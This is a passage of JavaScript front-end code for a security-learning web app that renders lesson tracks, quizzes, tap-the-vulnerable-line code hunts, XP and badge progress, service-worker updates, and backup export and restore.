  const dDone = S.hunts[dh.id] && S.hunts[dh.id].solved && S.daily===today();
  let h='<h1 class="pg">Learn to read code like an attacker.</h1>'+
    '<p class="sub">Short lessons and vulnerability hunts that teach you to understand code and spot the bugs in it — no programming background needed.</p>';

  // daily card
  h+='<div class="card daily tap" data-act="daily">'+
     '<div class="dailytag">◈ Daily Target</div>'+
     '<div style="display:flex;align-items:center;gap:12px">'+
       '<div style="flex:1"><div class="trname">'+dh.title+'</div>'+
       '<div class="trsub" style="margin:2px 0 0">'+(dDone?'Cleared today — nice.':'Find the bugs in this '+langName(dh.lang)+' snippet.')+'</div></div>'+
       '<span class="chip '+(dDone?'good':'amber')+'">'+(dDone?'✓ DONE':'+'+dh.xp+' XP')+'</span>'+
     '</div></div>';

  const GROUP_ORDER=['Foundations','Language & runtime basics','Languages & vulnerabilities','Attack patterns & real-world','Exploitation'];
  const groupOf=(id)=> id==='recon' ? 'Foundations'
    : (id==='phpbasics' || id==='pybasics' || id==='jsbasics' || id==='nodebasics' || id==='cbasics') ? 'Language & runtime basics'
    : ['php','dotnet','cpp','web','python','java','go'].includes(id) ? 'Languages & vulnerabilities'
    : id==='exploit' ? 'Exploitation'
    : 'Attack patterns & real-world';
  for(const g of GROUP_ORDER){
    const inGroup=TRACKS.filter(t=>groupOf(t.id)===g);
    if(!inGroup.length) continue;
    h+='<div class="sect">'+g+'</div>';
    if(g==='Language & runtime basics'){
      h+='<div class="basicsgrid">';
      for(const t of inGroup){
        const p=trackProgress(t);
        h+='<button class="basicscard tap" data-act="track" data-id="'+t.id+'">'+
            '<div class="bc-icon">'+(BASICS_ICONS[t.id]?'<img class="bc-img" src="'+BASICS_ICONS[t.id]+'" alt="">':t.icon)+'</div>'+
            '<div class="bc-name">'+t.name+'</div>'+
            '<div class="bc-count">'+p.done+'/'+p.total+' lessons</div>'+
            '<div class="bc-bar"><i style="width:'+p.pct+'%"></i></div>'+
           '</button>';
      }
      h+='</div>';
      continue;
    }
    for(const t of inGroup){
      const p=trackProgress(t);
      h+='<button class="card tap trackcard" data-act="track" data-id="'+t.id+'">'+
          '<div class="tricon'+(GREEN_GROUPS[g]?' accent':'')+'">'+(TRACK_SVG[t.id]||t.icon)+'</div>'+
          '<div class="trmeta">'+
            '<div class="trname">'+t.name+' <span class="chip '+(t.accent)+'" style="vertical-align:2px">'+t.tag+'</span></div>'+
            '<div class="trsub">'+t.sub+'</div>'+
            '<div class="pbar'+(t.accent==='violet'?' v':'')+'"><i style="width:'+p.pct+'%"></i></div>'+
          '</div>'+
          '<div class="count">'+p.done+'/'+p.total+'</div>'+
         '</button>';
    }
  }
  return h;
}

function langName(l){return {php:'PHP',csharp:'C#',cpp:'C/C++',js:'JavaScript',python:'Python',sql:'SQL'}[l]||l;}

function vTrack(tid){
  const t=TRACKS.find(x=>x.id===tid);
  const nextI=nextLessonIndex(t);
  let h='<button class="back" data-act="home">‹ Tracks</button>'+
        '<h1 class="pg">'+t.name+'</h1><p class="sub">'+t.sub+'</p>';
  if(t.meta){
    const m=t.meta;
    h+='<div class="factfile">';
    if(m.note) h+='<div class="ff-note">'+m.note+'</div>';
    h+='<div class="ff-grid">'+
       '<div class="ff-cell"><div class="ff-k">Released</div><div class="ff-v">'+m.released+'</div></div>'+
       '<div class="ff-cell"><div class="ff-k">Current</div><div class="ff-v">'+m.current+'</div></div>'+
       '<div class="ff-cell"><div class="ff-k">End-of-life</div><div class="ff-v">'+m.eol+'</div></div>'+
       '</div>';
    if(m.link) h+='<a class="ff-link" href="'+m.link+'" target="_blank" rel="noopener noreferrer">Live version &amp; support status &#8599;</a>';
    h+='</div>';
  }
  t.lessons.forEach((l,i)=>{
    const done=!!S.done[l.id];
    const locked = i>0 && !S.done[t.lessons[i-1].id] && !done;
    const isNext = i===nextI;
    const stateCls = done?'done':(isNext?'next':'');
    const mark = done?'✓':(locked?'🔒':(i+1));
    h+='<button class="card tap lrow'+(locked?' locked':'')+'" '+(locked?'disabled':'data-act="lesson" data-track="'+t.id+'" data-i="'+i+'"')+'>'+
        '<div class="lstate '+stateCls+'">'+mark+'</div>'+
        '<div style="flex:1"><div class="lname">'+l.name+'</div>'+
        '<div class="lxp">'+(done?'Completed':(l.cards.length+' steps'))+'</div></div>'+
        '<span class="chip'+(done?' good':'')+'">'+(done?'+'+l.xp:'+'+l.xp)+' XP</span>'+
       '</button>';
  });
  h+=trackRefsHTML(t);
  return h;
}

/* ---- lesson runner (card stepper) ---- */
let LS=null; // {track,i,card,answered}
function vLesson(){
  const t=TRACKS.find(x=>x.id===view.trackId);
  const l=t.lessons[view.i];
  if(!LS || LS.lid!==l.id){ LS={lid:l.id, card:0, answered:false, correct:0, quizzes:0}; }
  const card=l.cards[LS.card];
  const total=l.cards.length;
  let h='<button class="back" data-act="track" data-id="'+t.id+'">‹ '+t.name+'</button>';
  h+='<div class="qmeta"><div class="pbar"><i style="width:'+Math.round((LS.card)/total*100)+'%"></i></div>'+
     '<span class="count">'+(LS.card+1)+'/'+total+'</span></div>';
  h+='<h1 class="pg" style="font-size:20px;margin-top:6px">'+l.name+'</h1>';

  const refs = (LS.card===total-1) ? refsHTML(l.id) : '';
  if(card.t==='md'){
    h+='<div class="card">'+card.html+'</div>';
    h+=refs;
    h+='<button class="btn" data-act="next">Continue</button>';
  }
  else if(card.t==='read'){
    h+=codebox(card.code,card.lang,card.label||langName(card.lang));
    if(card.note) h+='<div class="explain" style="border-color:var(--violet)">'+card.note+'</div>';
    h+=refs;
    h+='<button class="btn" data-act="next">Got it</button>';
  }
  else if(card.t==='quiz'){
    h+='<div class="card" style="border-color:var(--amber-dim)"><b>Q.</b> '+card.q+'</div>';
    const keys=['A','B','C','D','E'];
    card.opts.forEach((o,oi)=>{
      let cls='opt';
      if(LS.answered){
        if(oi===card.a) cls+=' right';
        else if(oi===LS.pick) cls+=' wrong';
        else cls+=' dim';
      }
      h+='<button class="'+cls+'" '+(LS.answered?'disabled':'data-act="answer" data-oi="'+oi+'"')+'>'+
         '<span class="key">'+keys[oi]+'</span>'+o+'</button>';
    });
    if(LS.answered){
      const ok=LS.pick===card.a;
      h+='<div class="explain"><b>'+(ok?'Correct.':'Not quite.')+'</b> '+card.why+'</div>';
      h+=refs;
      h+='<button class="btn" data-act="next">Continue</button>';
    }
  }
  return h;
}

/* ---- hunt list ---- */
function vHuntList(){
  const solved=Object.values(S.hunts).filter(h=>h.solved).length;
  let h='<h1 class="pg">Vulnerability Hunt</h1>'+
    '<p class="sub">Real-shaped code snippets. Tap the lines you believe are dangerous, submit, and learn exactly why. Cleared: '+solved+'/'+HUNTS.length+'.</p>';
  HUNTS.forEach(hu=>{
    const st=S.hunts[hu.id]||{};
    const dc = st.solved?'good':(st.attempts?'amber':'');
    h+='<button class="card tap lrow" data-act="hunt" data-id="'+hu.id+'">'+
       '<div class="tricon" style="font-size:11px">'+({php:'php',csharp:'C#',cpp:'C++',js:'JS',python:'py'}[hu.lang]||hu.lang)+'</div>'+
       '<div style="flex:1"><div class="lname">'+hu.title+'</div>'+
       '<div class="lxp">'+hu.diff+' · '+langName(hu.lang)+(st.perfect?' · ✦ perfect':'')+'</div></div>'+
       '<span class="chip '+dc+'">'+(st.solved?'✓':('+'+hu.xp))+'</span>'+
       '</button>';
  });
  return h;
}

/* ---- hunt play ---- */
let HS=null; // {id, picks:Set, checked}
function vHuntPlay(){
  const hu=HUNTS.find(x=>x.id===view.huntId);
  if(!HS || HS.id!==hu.id){ HS={id:hu.id, picks:new Set(), checked:false}; }
  let h='<button class="back" data-act="hunt-back">‹ Hunts</button>'+
        '<h1 class="pg" style="font-size:20px">'+hu.title+'</h1>'+
        '<p class="sub" style="margin-bottom:10px">'+hu.brief+'</p>'+
        '<div style="display:flex;gap:8px;margin-bottom:6px"><span class="chip amber">'+hu.diff+'</span><span class="chip">'+langName(hu.lang)+'</span><span class="chip violet">+'+hu.xp+' XP</span></div>';
  // code with tappable lines
  h+='<div class="codebox"><span class="lang">'+langName(hu.lang)+' — tap dangerous lines</span><pre style="padding:6px 0">';
  hu.lines.forEach((ln,i)=>{
    let cls='hline';
    if(HS.checked){
      const isVuln=hu.vuln.includes(i), picked=HS.picks.has(i);
      if(isVuln) cls+=' hit';
      else if(picked) cls+=' miss';
    } else if(HS.picks.has(i)) cls+=' hit';
    h+='<button class="'+cls+'" '+(HS.checked?'disabled':'data-act="hline" data-i="'+i+'"')+'>'+
       '<span class="no">'+(i+1)+'</span><span class="src">'+hl(ln,hu.lang)+'</span></button>';
  });
  h+='</pre></div>';

  if(!HS.checked){
    const n=HS.picks.size;
    h+='<button class="btn" '+(n===0?'disabled':'')+' data-act="hunt-check">Submit '+(n?'('+n+' line'+(n>1?'s':'')+')':'')+'</button>';
    h+='<p class="lxp center" style="margin-top:10px">Green = you flagged it. Submit to reveal the real answers.</p>';
  } else {
    const hits=hu.vuln.filter(v=>HS.picks.has(v)).length;
    const misses=[...HS.picks].filter(p=>!hu.vuln.includes(p)).length;
    const missed=hu.vuln.filter(v=>!HS.picks.has(v)).length;
    const perfect = missed===0 && misses===0;
    // corrected-code toggle (text link) sits right under the code, before the breakdown
    if(HUNT_FIX[hu.id]){
      h+='<a class="flink" data-act="togglefix">'+(HS.showFix?'&#9662; Hide the corrected code':'&#9656; Show the corrected code')+'</a>';
      if(HS.showFix) h+=codeboxNumbered(HUNT_FIX[hu.id], hu.lang, 'Corrected code ✓', 'corr');
    }
    h+='<div class="explain" style="border-color:'+(perfect?'var(--good)':'var(--amber)')+'">'+
       '<b>'+(perfect?'Flawless audit.':'Here is the breakdown.')+'</b> '+
       'You correctly flagged '+hits+' of '+hu.vuln.length+' vulnerable line'+(hu.vuln.length>1?'s':'')+
       (misses?', with '+misses+' false positive'+(misses>1?'s':'')+'':'')+'.<br><br>'+hu.debrief+'</div>';
    h+=refsListHTML(HUNT_REFS[hu.id], 'Learn more about this vulnerability');
    h+='<button class="btn ghost" data-act="hunt-back">Back to hunts</button>';
  }
  return h;
}

/* ---- profile / rank ---- */
function vProfile(){
  const r=rankInfo(S.xp);
  const lessonsDone=TRACKS.reduce((a,t)=>a+t.lessons.filter(l=>S.done[l.id]).length,0);
  const lessonsTotal=TRACKS.reduce((a,t)=>a+t.lessons.length,0);
  const huntsDone=Object.values(S.hunts).filter(h=>h.solved).length;
  const gotBadges=BADGES.filter(b=>S.badges[b.id]).length;
  let h='<h1 class="pg">'+r.name+'</h1>'+
    '<p class="sub">'+(r.next?('Earn '+(r.next[0]-S.xp)+' more XP to reach '+r.next[1]+'.'):'Top rank reached. You read code like an operator now.')+'</p>';
  h+='<div class="statrow">'+
     '<div class="stat"><div class="v">'+S.xp+'</div><div class="k">Total XP</div></div>'+
     '<div class="stat"><div class="v">'+S.streak.n+'</div><div class="k">Day streak</div></div>'+
     '<div class="stat"><div class="v">'+gotBadges+'</div><div class="k">Badges</div></div>'+
     '</div>';
  h+='<div class="statrow" style="margin-top:10px">'+
     '<div class="stat"><div class="v">'+lessonsDone+'/'+lessonsTotal+'</div><div class="k">Lessons</div></div>'+
     '<div class="stat"><div class="v">'+huntsDone+'/'+HUNTS.length+'</div><div class="k">Hunts cleared</div></div>'+
     '</div>';
  h+='<div class="sect">Badges</div><div class="badgegrid">';
  for(const b of BADGES){
    const on=!!S.badges[b.id];
    h+='<div class="badge'+(on?'':' off')+'"><div class="bi">'+b.ic+'</div><div class="bn">'+b.n+'</div><div class="bd">'+b.d+'</div></div>';
  }
  h+='</div>';
  h+='<div class="sect">Rank ladder</div><div class="card">';
  RANKS.forEach((rk,i)=>{
    const reached=S.xp>=rk[0];
    h+='<div style="display:flex;align-items:center;gap:10px;padding:5px 0;'+(i<RANKS.length-1?'border-bottom:1px solid var(--line)':'')+'">'+
       '<span style="width:16px">'+(reached?'✓':'·')+'</span>'+
       '<span style="flex:1;font-family:var(--disp);font-weight:600;color:'+(reached?'var(--ink)':'var(--mut)')+'">'+rk[1]+'</span>'+
       '<span class="lxp">'+rk[0]+' XP</span></div>';
  });
  h+='</div>';
  h+='<div class="sect">App & updates</div>';
  h+='<div class="card"><div style="display:flex;align-items:center;justify-content:space-between;gap:12px">'+
     '<div><div class="lname">codeLearn</div><div class="lxp">Version '+APP_VERSION+'</div></div>'+
     '<button class="btn ghost" style="width:auto;margin:0;padding:11px 16px;font-size:13px" data-act="checkupdate">Check for updates</button>'+
     '</div><div class="lxp" id="upstatus" style="margin-top:10px"></div></div>';
  h+='<div class="sect">Backup & restore</div>';
  h+='<div class="card"><div class="lxp" style="margin-bottom:12px">Save a backup of your XP, badges, streak, and lesson progress — then restore it on another device, or if this device loses its saved data.</div>'+
     '<button class="btn ghost" style="margin-top:0" data-act="export">Export / save backup</button>'+
     '<button class="btn ghost" data-act="import">Import / restore backup</button></div>';
  h+='<button class="btn danger" data-act="reset">Reset all progress</button>';
  return h;
}

/* =========================================================
   ACTION HANDLER — every data-act runs through here
   ========================================================= */
function handleAct(el){
  const a=el.dataset.act;
  switch(a){
    case 'home': go({name:'learn'}); break;
    case 'track': go({name:'track', trackId:el.dataset.id}); break;

    case 'lesson':
      LS=null;
      go({name:'lesson', trackId:el.dataset.track, i:+el.dataset.i});
      break;

    case 'answer': {
      const oi=+el.dataset.oi;
      const t=TRACKS.find(x=>x.id===view.trackId), l=t.lessons[view.i], card=l.cards[LS.card];
      LS.pick=oi; LS.answered=true; LS.quizzes++;
      if(oi===card.a){ LS.correct++; }
      render();
      break;
    }

    case 'next': {
      const t=TRACKS.find(x=>x.id===view.trackId), l=t.lessons[view.i];
      if(LS.card < l.cards.length-1){
        LS.card++; LS.answered=false; LS.pick=undefined;
        render();
      } else {
        // finish lesson
        const first=!S.done[l.id];
        S.done[l.id]=true; save();
        if(first){ addXP(l.xp); }
        finishLesson(t,l,first);
      }
      break;
    }

    case 'daily': {
      const dh=dailyHunt();
      HS=null;
      go({name:'huntplay', huntId:dh.id, fromDaily:true});
      break;
    }
    case 'hunt': HS=null; go({name:'huntplay', huntId:el.dataset.id}); break;
    case 'hunt-back': go({name:'hunt'}); break;

    case 'hline': {
      const i=+el.dataset.i;
      if(HS.picks.has(i)) HS.picks.delete(i); else HS.picks.add(i);
      render();
      break;
    }

    case 'togglefix': HS.showFix=!HS.showFix; render(); break;

    case 'hunt-check': {
      const hu=HUNTS.find(x=>x.id===HS.id);
      HS.checked=true;
      const missed=hu.vuln.filter(v=>!HS.picks.has(v)).length;
      const fp=[...HS.picks].filter(p=>!hu.vuln.includes(p)).length;
      const perfect = missed===0 && fp===0;
      const solved = missed===0;               // found all vulns = solved
      const prev=S.hunts[hu.id]||{attempts:0};
      const firstSolve = solved && !prev.solved;
      S.hunts[hu.id]={
        solved: solved||prev.solved,
        perfect: perfect||prev.perfect,
        attempts:(prev.attempts||0)+1
      };
      save();
      if(firstSolve){
        let gain=hu.xp;
        if(perfect) gain+=15;
        addXP(gain);
        if(view.fromDaily){ S.daily=today(); save(); grant('daily'); }
        setTimeout(()=>toast((perfect?'✦ Perfect! +':'✓ Solved! +')+ (perfect?hu.xp+15:hu.xp)+' XP'),300);
      } else if(solved && view.fromDaily && S.daily!==today()){
        S.daily=today(); save(); grant('daily');
      }
      render();
      break;
    }

    case 'checkupdate': checkForUpdates(); break;
    case 'export': openBackup('export'); break;
    case 'import': openBackup('import'); break;

    case 'reset':
      if(confirm('Reset all XP, badges, streak and progress? This cannot be undone.')){
        S={xp:0,done:{},hunts:{},streak:{last:'',n:0},badges:{},daily:''};
        save(); renderHeader(); go({name:'learn'});
        toast('Progress reset');
      }
      break;
  }
}

/* lesson completion screen */
function finishLesson(t,l,first){
  const acc = LS.quizzes? Math.round(LS.correct/LS.quizzes*100) : 100;
  const nextI=nextLessonIndex(t);
  const root=document.getElementById('view');
  let h='<div class="card resultcard center">'+
    '<div style="font-size:34px">'+(first?'✓':'↻')+'</div>'+
    '<div class="bignum">+'+(first?l.xp:0)+' XP</div>'+
    '<div class="trname" style="margin:4px 0">'+l.name+' complete</div>';
  if(LS.quizzes) h+='<div class="lxp">Quiz accuracy: '+acc+'%</div>';
  if(!first) h+='<div class="lxp">(replay — no new XP)</div>';
  h+='</div>';
  if(nextI>=0){
    h+='<button class="btn" data-act="lesson" data-track="'+t.id+'" data-i="'+nextI+'">Next lesson ›</button>';
  } else {
    h+='<div class="card center"><b>Track complete.</b> You have finished every lesson in '+t.name+'.</div>';
  }
  h+='<button class="btn ghost" data-act="track" data-id="'+t.id+'">Back to '+t.name+'</button>';
  root.innerHTML=h;
  bindView(root);
  window.scrollTo(0,0);
  if(nextI<0) checkBadges();
}

/* =========================================================
   BOOT
   ========================================================= */
// roll streak on load (breaks if a day was skipped)
(function(){
  if(S.streak.last && S.streak.last!==today() && S.streak.last!==yesterday()){
    S.streak.n=0; save();
  }
})();
renderHeader();
render();
checkBadges();

/* =========================================================
   PWA UPDATES — detect a new service worker, prompt to apply
   ========================================================= */
let swReg=null;
function showUpdateBanner(){
  const b=document.getElementById('updatebar');
  if(b) b.classList.add('show');
}
function applyUpdate(){
  if(swReg && swReg.waiting){
    swReg.waiting.postMessage({type:'SKIP_WAITING'}); // activates -> controllerchange -> reload
  } else {
    location.reload();
  }
}
function checkForUpdates(){
  const s=document.getElementById('upstatus');
  if(!('serviceWorker' in navigator) || !swReg){
    if(s) s.textContent='Updates apply once the app is installed to your home screen and reopened.';
    return;
  }
  if(s) s.textContent='Checking for updates…';
  swReg.update().then(()=>{
    setTimeout(()=>{
      if(swReg.waiting){
        if(s) s.innerHTML='<b style="color:var(--amber)">Update ready — tap the bar at the top to install.</b>';
        showUpdateBanner();
      } else if(s){
        s.textContent='You’re on the latest version ('+APP_VERSION+').';
      }
    },900);
  }).catch(()=>{ if(s) s.textContent='Couldn’t check right now (offline?).'; });
}

/* =========================================================
   BACKUP & RESTORE — export/import all progress as a code or file
   ========================================================= */
function openBackup(mode){
  const ta=document.getElementById('backupText');
  const st=document.getElementById('backupStatus');
  st.textContent='';
  if(mode==='export'){
    const payload={app:'codeLearn', v:1, exportedAt:new Date().toISOString(), data:S};
    ta.value=JSON.stringify(payload);
    ta.readOnly=true;
    document.getElementById('backupTitle').textContent='Export backup';
    document.getElementById('backupDesc').textContent='Copy this code (or download it as a file) and keep it somewhere safe. On another device, open Import and paste it in to restore everything.';
    document.getElementById('backupRestore').hidden=true;
    document.getElementById('backupCopy').hidden=false;
    document.getElementById('backupDownload').hidden=false;
    document.getElementById('backupFileBtn').hidden=true;
  } else {
    ta.value=''; ta.readOnly=false;
    ta.placeholder='Paste your backup code here…';
    document.getElementById('backupTitle').textContent='Import / restore';
    document.getElementById('backupDesc').textContent='Paste a backup code below, or load a backup file, then tap Restore. This replaces the progress currently on this device.';
    document.getElementById('backupRestore').hidden=false;
    document.getElementById('backupCopy').hidden=true;
    document.getElementById('backupDownload').hidden=true;
    document.getElementById('backupFileBtn').hidden=false;
  }
  document.getElementById('backupModal').hidden=false;
}
function closeBackup(){ document.getElementById('backupModal').hidden=true; }
function copyBackup(){
  const ta=document.getElementById('backupText');
  const st=document.getElementById('backupStatus');
  const ok=()=>{ st.textContent='Copied to clipboard.'; };
  const manual=()=>{ st.textContent='Could not auto-copy — select the text and copy it.'; };
  if(navigator.clipboard && navigator.clipboard.writeText){
    navigator.clipboard.writeText(ta.value).then(ok).catch(()=>{ ta.select(); try{document.execCommand('copy');ok();}catch(e){manual();} });
  } else {
    ta.select(); try{document.execCommand('copy');ok();}catch(e){manual();}
  }
}
function downloadBackup(){
  const ta=document.getElementById('backupText');
  const st=document.getElementById('backupStatus');
  try{
    const blob=new Blob([ta.value],{type:'application/json'});
    const url=URL.createObjectURL(blob);
    const a=document.createElement('a');
    a.href=url; a.download='codelearn-backup-'+today()+'.json';
    document.body.appendChild(a); a.click();
    setTimeout(()=>{ URL.revokeObjectURL(url); a.remove(); },1000);
    st.textContent='If nothing downloaded, use “Copy code” instead and save the text.';
  }catch(e){ st.textContent='Download is not available here — use “Copy code” instead.'; }
}
function handleBackupFile(input){
  const f=input.files && input.files[0];
  if(!f) return;
  const r=new FileReader();
  r.onload=()=>{ document.getElementById('backupText').value=String(r.result||''); document.getElementById('backupStatus').textContent='File loaded — tap Restore.'; };
  r.onerror=()=>{ document.getElementById('backupStatus').textContent='Could not read that file.'; };
  r.readAsText(f);
  input.value=''; // allow re-selecting the same file later
}
function restoreBackup(){
  const ta=document.getElementById('backupText');
  const st=document.getElementById('backupStatus');
  let payload;
  try{ payload=JSON.parse((ta.value||'').trim()); }
  catch(e){ st.textContent='That is not a valid backup — check you pasted the whole code.'; return; }
  const data = (payload && payload.app==='codeLearn' && payload.data) ? payload.data
             : (payload && typeof payload.xp==='number' && payload.done) ? payload
             : null;
  if(!data){ st.textContent='This does not look like a codeLearn backup.'; return; }
  if(!confirm('Restore this backup? It replaces the progress currently on this device.')) return;
  S=Object.assign({xp:0,done:{},hunts:{},streak:{last:'',n:0},badges:{},daily:''}, data);
  save(); renderHeader(); checkBadges();
  closeBackup(); go({name:'profile'});
  toast('✓ Progress restored');
}

if('serviceWorker' in navigator){
  let refreshing=false;
  navigator.serviceWorker.addEventListener('controllerchange',()=>{
    if(refreshing) return; refreshing=true; location.reload();
  });
  window.addEventListener('load',()=>{
    navigator.serviceWorker.register('sw.js').then(reg=>{
      swReg=reg;
      if(reg.waiting && navigator.serviceWorker.controller) showUpdateBanner();
      reg.addEventListener('updatefound',()=>{
        const nw=reg.installing;
        if(!nw) return;
        nw.addEventListener('statechange',()=>{
          if(nw.state==='installed' && navigator.serviceWorker.controller) showUpdateBanner();
        });
      });
      // While the app stays open, look for a new release once an hour.
      setInterval(()=>{ reg.update().catch(()=>{}); }, 60*60*1000);
    }).catch(()=>{});
  });
}
</script>